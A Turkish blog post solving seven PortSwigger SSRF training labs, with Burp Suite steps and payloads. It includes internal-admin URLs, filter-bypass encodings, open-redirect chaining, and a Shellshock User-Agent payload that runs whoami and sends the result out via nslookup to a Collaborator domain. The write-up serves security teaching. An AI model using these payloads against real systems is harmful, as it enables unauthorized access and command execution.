Arif ARI
12 min readFeb 19, 2022

PORTSWIGGER WEB SECURITY - SSRF (SERVER SIDE REQUEST FORGERY) LAB ÇÖZÜMLERİ

Bir web uygulamasında kullanılan veriler dış bir kaynak aracılığıyla alınıyorsa ve saldırgan web sunucusunun göndermiş olduğu istek üzerinde, dış kaynağa erişim sağlayan bir parametreyi kontrol edebiliyorsa burada bir SSRF zafiyeti meydana gelmektedir. Örneğin web sunucusunun dış kaynaktan veri almak için stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 şeklinde bir URL adresi kullandığını düşünelim. Saldırgan bu URL adresini admin panelini görüntülemek için stockApi=http://localhost/admin şeklinde değiştirdiğinde ve başarılı olduğunda SSRF zafiyeti oluşmaktadır. SSRF zafiyeti, bir kuruluş içindeki verilere erişilmesine, sunucuda kritik dosyaların içeriğinin okunmasına ve uzaktan komut çalıştırılmasına vb. neden olabilmektedir.

Bu çalışmada bahsedilen SSRF zafiyeti için tüm laboratuvar çözümleri ele alınmıştır. Keyifli okumalar..

Lab 1: Basic SSRF against the local server

Kullanıcının, bir öğenin stokta olup olmadığını görüntülemesini sağlayan bir alışveriş uygulaması düşünelim. Web uygulaması stok bilgilerini sağlamak için belirtilen ürüne ve mağazaya bağlı olarak bakc-end’de çeşitli REST API’lerini sorgulamaktadır. Bu eylem bir stockApi parametresinde tanımlanan URL aracılığıyla uygulanmaktadır. Saldırgan bu URL adresini değişerek local bir ip adresiyle isteği gönderebilir. Bu şekilde yetkisiz eylemlere veya kuruluş içindeki verilere, web uygulamasının kendisinde veya uygulamanın iletişim kurabileceği diğer back-end sistemlerine erişim sağlayabilir.

Herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım.

Ürün hakkında detaylı bir açıklama yapılmaktadır. Ayrıca bu ürün belirtilen şehirde var mı? varsa stokta kaç adet var? bunun sorgulaması yapılabilmektedir. Örneğin Milan şehri için stok kontrolü yaptığımız zaman ürün adedinin 737 olduğunu görmekteyiz. Şimdi Check stock butonu ile bir istek gönderelim ve burp suite aracıyla inceleyelim.

Bir öğenin stok durumunu görüntülediğimizde tarayıcının yapmış olduğu istek ekrandaki gibidir. stockApi parametresinde tanımlanan URL, sunucunun belirtilen adrese bir istekte bulunup stok durumunu öğrendikten sonra bunu kullanıcıya bildirmesini sağlamaktadır.

Saldırgan, bu stockApi parametresine http://localhost/admin şeklinde bir local ip adresi tanımlayıp isteği forward edebilir. Burada, sunucu /admin dizininin içeriğini kullanıcıya görüntüleyecektir.

İsteği forward ettikten sonra belirtilen ürün için stok kontrolünün yapıldığı sayfada admin panelinin eklendiği görülecektir.

Sayfanın kaynağını incelediğimizde href başlığı altında bir kullanıcının (carlos) delete edilmesi için nasıl bir URL tanımlandığı görülecektir.

stockApi parametresinde, local ip adresinden carlos kullanıcısını silmesi için az önce kaynak kodunda görülen URL kullanılarak bir delete işleminin yapılmasını talep edelim. İsteği forward ettiğimizde carlos kullanıcısı silinecek ve laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

NOT: Saldırgan direkt olarak URL üzerinden /admin dizinine erişim sağlayabilir. Ancak yönetim paneline yalnızca kimliği doğrulanmış kullanıcılar tarafından erişim sağlanabilmektedir. URL de /admin dizinini görüntüleyen saldırgan istediği verileri elde edemez fakat bu laboratuvarda olduğu gibi /admin dizinine yapılan istek local adresten çağrıldığında erişim denetimleri atlanmaktadır. Web uygulaması isteğin güvenilir bir adresten geldiğini düşünerek yönetim paneline erişime izin vermektedir.

Lab 2: Basic SSRF against another back-end system

Kullanıcıların, web uygulamasında doğrudan erişilemeyen diğer back-end sistemlerle etkileşime girmesi sıklıkla karşılaşılan bir durumdur. Bu sistemlerde genellikle bir yönlendirme söz konusu olmadığı gibi özel IP adreslerine sahiptir. Back-end sistemler normalde ağ topolojisi tarafından korunduğu için güvenlik seviyesi genellikle daha zayıftır. Dahili back-end sistemleri çoğu zaman kimlik doğrulaması yapılmadan erişilebilen hassas veriler içermektedir.

Bu laboratuvarda dahili bir sistemden veri getiren bir stok kontrolü özelliği vardır. Bir önceki laboratuvarda localhost üzerinden yönetici paneline erişim sağlamıştık. Burada özel bir ip adresi üzerinden erişim sağlanmaktadır.

Sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Check stock butonu ile bir istek gönderelim ve burp suite aracıyla inceleyelim. Bir öğenin stok durumunu görüntülediğimizde tarayıcının yapmış olduğu istek ekrandaki gibidir. stockApi parametresinde tanımlanan URL, sunucunun belirtilen adrese bir istekte bulunup stok durumunu öğrendikten sonra bunu kullanıcıya bildirmesini sağlamaktadır.

stockApi değeri incelendiğinde 192.168.0.1 ip adresinden bir isteğin gönderildiği görülecektir. Admin panelinin hangi ip adresi altında yer aldığını bulmak için isteği intrudera gönderelim. Aynı ağda olduğunuz bir sistemin ip adresini öğrenmek için mevcut ip adresinin son oktetini yani 1 değerinin yer aldığı aralığı taratabiliriz. Dolayısıyla ip adresin son değerini (1) $ tagları arasına alarak bu aralığı tarayacağız. Admin panelini görüntüleyeceğimiz için ve bunu da 8080 bağlantı noktasından yapacağımız için stockApi değerini http://192.168.0.$1$:8080/admin şeklinde tanımlayarak atak başlatacağız.

Ip aralığı [1–254] olduğu için Payload options bölümünden 1’den 254’ e kadar değer vermesini belirtiyoruz ve atağı başlatıyoruz.

Atak sonucunda yalnızca 150 değerine http 200 yanıtının döndüğü görülmektedir. Admin panelini görüntüleyeceğimiz ip adresinin 192.168.0.150 olduğunu tespit ettik.

Belirtilen ürün için Check stock butonu ile tekrardan bir istek gönderelim ve Burp suite aracıyla isteği yakalayalım. stockApi parametresini http://192.168.0.150:8080/admin şeklinde tanımlayalım ve isteği forward edelim.

İsteği forward ettikten sonra belirtilen ürün için stok kontrolünün yapıldığı sayfada admin panelinin eklendiği görülecektir.

Sayfa kaynağı incelendiğinde href başlığı altında bir kullanıcının (carlos) delete edilmesi için nasıl bir URL tanımlandığı görülecektir.

stockApi parametresinde, 192.168.0.150 ip adresinden carlos kullanıcısını silmesi için kaynak kodunda görülen URL kullanılarak bir delete işleminin yapılmasını talep edelim. İsteği forward ettiğimizde carlos kullanıcısı silinecek ve laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 3: Basic SSRF against another back-end system

Bazı web uygulamaları, 127.0.0.1 - localhost gibi ana bilgisayar domainlerini veya /admin gibi hassas verileri içeren URL girişlerini engellemektedir. Dolayısıyla bazı filtreleme teknikleri kullanılarak bu durum bypass edilebilir. Örneğin 127.0.0.1 ip adresi için 2130706433, 017700000001 veya 127.1 gibi çeşitli alternatif tanımlamalar yapılabilir.

Bu laboratuvarda 127.0.0.1 girişi web uygulaması tarafından engellendiği için 127.1 girişiyle deneme yapacağız.

Sayfa üzerinde herhangi bir ürün için Check stock butonu ile bir istek gönderelim ve burp suite aracıyla inceleyelim. Bir öğenin stok durumunu görüntülediğimizde tarayıcının yapmış olduğu istek ekrandaki gibidir. stockApi parametresinde tanımlanan URL, sunucunun belirtilen adrese bir istekte bulunup stok durumunu öğrendikten sonra bunu kullanıcıya bildirmesini sağlamaktadır.

stockApi parametresine http://127.0.0.1/ local ip adresini tanımlayıp isteği send ettiğimizde bir hata mesajı almaktayız. 127.0.0.1 ip adresi web uygulaması tarafından engellenmektedir.

Fakat bu adresi http://127.1 şeklinde değişip isteği send ettiğimizde filtrelemeyi atlattığımızı ve hata mesajı almadığımızı görebiliriz.

carlos kullanıcısını silmek için admin paneline erişim sağlamalıyız fakat URL’i http://127.1/admin şeklinde değiştiğimizde yanıtta aynı hata mesajını almaktayız. admin girişide sayfa tarafından engellenmektedir. Bunun için admin değerini encode edebiliriz ya da sadece baş harfini encode etmemiz yeterli olacaktır.

Decoder sekmesinde admin değerinin ilk harfini (a) iki defa URL formatında encode edelim.

Encode edilen a değerini kullanarak stockApi parametresini http://127.1/%25%36%31dmin şeklinde değişelim ve isteği send edelim. Hata mesajı almadık ve belirtilen ürün için stok kontrolünün yapıldığı sayfaya admin paneli eklenmiş oldu.

Belirtilen ürün için sayfa üzerinde Check stock butonu ile tekrardan bir istek gönderelim ve Burp suite aracıyla isteği yakalayalım. stockApi parametresinde, http://127.1/%25%36%31dmin/ adresinden carlos kullanıcısını silmesi için http://127.1/%25%36%31dmin/delete?username=carlos URL’i kullanılarak bir delete işleminin yapılmasını talep edelim. İsteği forward ettiğimizde carlos kullanıcısı silinecek ve laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 4: SSRF with whitelist-based input filter

Bazı web uygulamaları, saldırganların deneyebileceği birçok girdiyi kara listeye almaktadır yani engellemektedir. Yalnızca izin verilen değerlerin input edilmesine olanak tanımaktadır. Bu durumda URL üzerinde çeşitli yöntemler (@ ve # karakterlerini kullanmak gibi) deneyerek filtrelemeleri atlatabiliriz. Tabi bazen sadece bu yöntemleri kullanmak yeterli olmayabilir. Bununla beraber encoding teknikleri de uygulanarak filtrelemeler bypass edilmektedir.

Sayfa üzerinde herhangi bir ürün için Check stock butonu ile bir istek gönderelim ve burp suite aracıyla inceleyelim. Bir öğenin stok durumunu görüntülediğimizde tarayıcının yapmış olduğu istek ekrandaki gibidir. stockApi parametresinde tanımlanan URL, sunucunun belirtilen adrese bir istekte bulunup stok durumunu öğrendikten sonra bunu kullanıcıya bildirmesini sağlamaktadır.

127.0.0.1 ip adresi web uygulaması tarafından engellenmektedir. stockApi parametresine http://127.0.0.1/ local ip adresini tanımlayıp isteği send ettiğimizde bir hata mesajı almaktayız. Hata mesajında, harici kaynaktan alınan veri için tanımlanacak host bilgisinin stock.weliketoshop.net olması gerektiği bildirilmektedir.

URL’i, http://username@stock.weliketoshop.net/ olarak tanımlayıp isteği send ettiğimizde harici kaynaktan alınan stok bilgisi için bir bağlantı sağlanamadığı bildirilmektedir. Olumsuz bir dönüş aldık fakat bu mesaj ile tanımladığımız kimlik bilgilerinin uyumlu olduğu anlaşılmaktadır ki işimize yarayan da budur açıkçası.

Kimlik bilgilerimiz uyumlu olduğu için yine aynı input değerini kullanacağız fakat @ karakterinden önce bir # karakteri kullanıyoruz. Yine hata aldık dolayısıyla isteği bir encoding deneyerek gönderelim.

Şimdi # karakterini decoder sekmesinde iki defa URL biçiminde encode edelim.

Encode edilen # karakterini @ karakterinden önce kullanarak, stockApi parametresini http://username%25%32%33@stock.weliketoshop.net/ şeklinde değişelim ve isteği send edelim. Hata mesajı almadık fakat URL adresi tekrardan reddedildi, bağlantı sağlanamadı. Bu aşamada bağlantı sağlanamamasının sebebi sunucunun username’e bağlanmaya çalışmasından kaynaklanmaktadır. username yerine localhost:80 host adresini tanımlarsak bağlantı sağlanacaktır.

stockApi parametresini, http://localhost:80%25%32%33@stock.weliketoshop.net/ şeklinde değişip isteği send ettiğimizde bağlantı sağlandığı görülecektir.

Amacımız admin panelini görüntülemek ve carlos kullanıcısını delete etmektir. stockApi parametresindeki URL’ e admin ekleyelim ve isteği send edelim. Bu durumda belirtilen ürün için stok kontrolünün yapıldığı sayfaya admin paneli eklenmiş oldu.

Belirtilen ürün için sayfa üzerinden Check stock butonu ile tekrardan bir istek gönderelim ve Burp suite aracıyla isteği yakalayalım. stockApi parametresinde, http://localhost:80%25%32%33@stock.weliketoshop.net/admin/ adresinden carlos kullanıcısını silmesi için http://localhost:80%25%32%33@stock.weliketoshop.net/admin/delete?username=carlos URL’i kullanılarak bir delete işleminin yapılmasını talep edelim. İsteği forward ettiğimizde carlos kullanıcısı silinecek ve laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 5: SSRF with filter bypass via open redirection vulnerability

Bir URL adresinde, bir parametreye bağlı istek gönderiliyorsa ve bu parametreye yeni bir URL tanımlandığında sayfaya yönlendirilme söz konusu ise burada open redirection zafiyeti oluşmaktadır. Örneğin, http://weliketoshop.net/product/nextProduct?currentProductId=6 URL adresini http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin şeklinde submit ettiğimizde sayfa admin paneline yönlendiriliyorsa open redirection zafiyetinden söz edebiliriz.

Sayfa üzerinde herhangi bir ürün için Check stock butonu ile bir istek gönderelim ve burp suite aracıyla inceleyelim. Bir öğenin stok durumunu görüntülediğimizde tarayıcının yapmış olduğu istek ekrandaki gibidir. stockApi parametresinde tanımlanan URL, sunucunun belirtilen adrese bir istekte bulunup stok durumunu öğrendikten sonra bunu kullanıcıya bildirmesini sağlamaktadır.

stockApi parametresine http://192.168.0.12:8080/admin URL adresini tanımlayıp isteği send ettiğimizde bir hata mesajı almaktayız. İsteğe doğrudan farklı bir host tanımlayarak admin panelinin görüntülenmesi mümkün değildir. Burada host olarak hangi ip adresi verilirse verilsin sunucu tarafından engelleneceği için hata alınacaktır. Dolayısıyla bu şekilde admin paneline erişmek söz konusu değildir.

Stok kontrolünün yapıldığı sayfada Next Product seçeneğine tıklayalım ve burp suite ile isteği inceleyelim.

İstek başlığına dikkat edilirse burada kullanılan path parametresiyle yeniden bir yönlendirilme yapılmaktadır. Bu parametreyi kullanarak bir open redirection (açık yönlendirme) tetikleyebiliriz.

Bir önceki isteğin başlığını ve path parametresini kullanarak http://192.168.0.12:8080/admin URL adresine bir yönlendirme talebinde bulunduk ve belirtilen ürün için stok kontrolünün yapıldığı sayfaya admin paneli eklenmiş oldu.

Belirtilen ürün için sayfa üzerinden Check stock butonu ile tekrardan bir istek gönderelim ve Burp suite aracıyla isteği yakalayalım. stockApi parametresinde, /product/nextProduct?path=http://192.168.0.12:8080/admin/ adresinden carlos kullanıcısını silmesi için /product/nextProduct?path=http://192.168.0.12:8080/admin/delete/username=carlos URL’i kullanılarak bir delete işleminin yapılmasını talep edelim. İsteği forward ettiğimizde carlos kullanıcısı silinecek ve laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 6: Blind SSRF with out-of-band detection

Blind SSRF güvenlik zafiyeti, web uygulamasında harici bir URL adresine back-end tarafında bir HTTP isteği gönderilebildiğinde ortaya çıkmaktadır. Fakat back-end’den gelen response front-end tarafında görülmez. Blind SSRF zafiyetini tespit etmenin en güvenilir yolu, out-of-band application security testing (OAST) tekniklerini kullanmaktır. OAST teknikleri, var olan fakat kullanıcının göremeyeceği zafiyetleri tespit etmek adına harici sunucular kullanılarak zafiyetin tespit edildiği yöntemlerdir. En kolay yolu ise Burp Collaborator Client kullanmak olacaktır. Bu istemci sayesinde, belirtilen domain adresinde ne tür etkileşimler gerçekleşmekte tespit edilebilir. Eğer bir HTTP isteği gözlemlenirse, uygulamanın SSRF’e karşı savunmasız olduğu kanısına varılmaktadır.

Bu web sayfasında, bir ürün görüntülendiğinde ve sayfaya giden istek incelendiğinde bir URL adresine yönlendirilmenin yapıldığı görülecektir. Bu yönlendirme başlığına Burp Collaborator sunucusundan alınan bir subdomain adresi tanımlayarak bu subdomain adresine bit HTTP isteği göndereceğiz.

Sayfa üzerinden herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım ve gönderilen isteği burp aracıyla inceleyelim. Ürünün yönlendirildiği adresi istek üzerinde Referer parametresi başlığında görülmektedir.

Alıntı Ekran

Burp Suite aracında ki Burp Collaborator client bölümünden bir subdomain adresi (7cktg0by3klczg76oa7n6ph15abiz7.burpcollaborator.net) kopyalayalım.

İsteği repeatera gönderdikten sonra Referer parametresine, kopyaladığımız subdomain adresini https://7cktg0by3klczg76oa7n6ph15abiz7.burpcollaborator.net/şeklinde URL biçiminde tanımlıyoruz.

Alıntı Ekran

İsteği send ettikten sonra Burp Collaborator client bölümünden yaptığımız HTTP aramasını Poll now seçeneğine tıklayarak görebiliriz. Laboratuvarın çözümü bu şekildedir.

Congratulations, you solved the lab!

Lab 7: Blind SSRF with Shellshock exploitation

Bir önce ki laboratuvarda Burp Collaborator Client kullanılarak yapılan HTTP isteği ile bir SSRF zafiyetinin varlığından söz etmiştik. Fakat herhangi bir istismar durumu söz konusu değildi. Bu laboratuvarda ise bir shellshock exploiti kullanarak sunucuya bir DNS araması yapacağız ve bunun sonucunda işletim sistemi kullanıcısının adını tespit edeceğiz. Çözümü yapabilmemiz için önce birkaç adım izlememiz gerekmektedir. Sonrasında gönderilen istek üzerinde gerekli injection işlemleri yaparak laboratuvarı tamamlayacağız.

İlk önce Burp Suite aracında BApp Store’dan “Collaborator Everywhere” uzantısını yüklememiz gerekmektedir.

“Extender > Extensions > Add” adımlarını izleyerek yüklediğimiz uzantıyı ekleyelim.

Collaborator Everywhere özelliğinin sayfayı hedef alması için laboratuvarın domain adresini Burp Suite’in “target scope” bölümüne ekleyelim.

Alıntı Ekran

Sayfa üzerinden herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayıp gönderilen istek burp aracıyla incelendiğinde, Referer parametresi başlığında ürünün yönlendirildiği adres görülecektir. Issues bölümünde HTTP etkileşimine göz attığımızda ise HTTP isteğinin User Agent dizesini içerdiğini gözlemliyoruz.

Alıntı Ekran

Burp Collaborator client bölümünden bir subdomain adresi (laz5cqzdw47gsli2jz4jobggl7rxfm.burpcollaborator.net) kopyalayalım.

Ürünü görüntülemek için yakaladığımız isteği burp intrudera gönderelim. User-Agent dizesine, içerisinde Burp Collaborator’dan kopyaladığımız subdomain adresini içerecek bir şekilde () { :; }; /usr/bin/nslookup $(whoami).laz5cqzdw47gsli2jz4jobggl7rxfm.burpcollaborator.net shellshock payloadını enjekte edelim. Sunucu 192.168.0.X adresi aralığında yer almaktadır. Dolayısıyla bu ip adresinin son değerini (1) $ tagları arasına alarak bu aralığı tarayacağız. Bunu da 8080 bağlantı noktasından yapacağımız için Referer değerini https://192.168.0.$1$:8080 şeklinde tanımlayarak atak başlatacağız.

Ip aralığı [1–254] olduğu için Payload options bölümünden 1’den 254’ e kadar değer vermesini belirtiyoruz ve atağı başlatıyoruz.

Alıntı Ekran

Atak sonrası yaptığımız DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. Sızan veriler dahil olmak üzere herhangi bir DNS etkileşiminin ayrıntılarını almak için Collaborator sunucusunu yoklamamız gerekmektedir. DNS aramasının detayını incelediğimizde,peter-Qi5sfa.laz5cqzdw47gsli2jz4jobggl7rxfm.burpcollaborator.net’ domain adının ilk başlığı mevcut işletim sistemi kullanıcısının bilgisidir.

Submit solution bölümünden kullanıcı bilgisini girdikten sonra son laboratuvarımızı da çözmüş oluyoruz.

Arif ARI
Arif ARI

No responses yet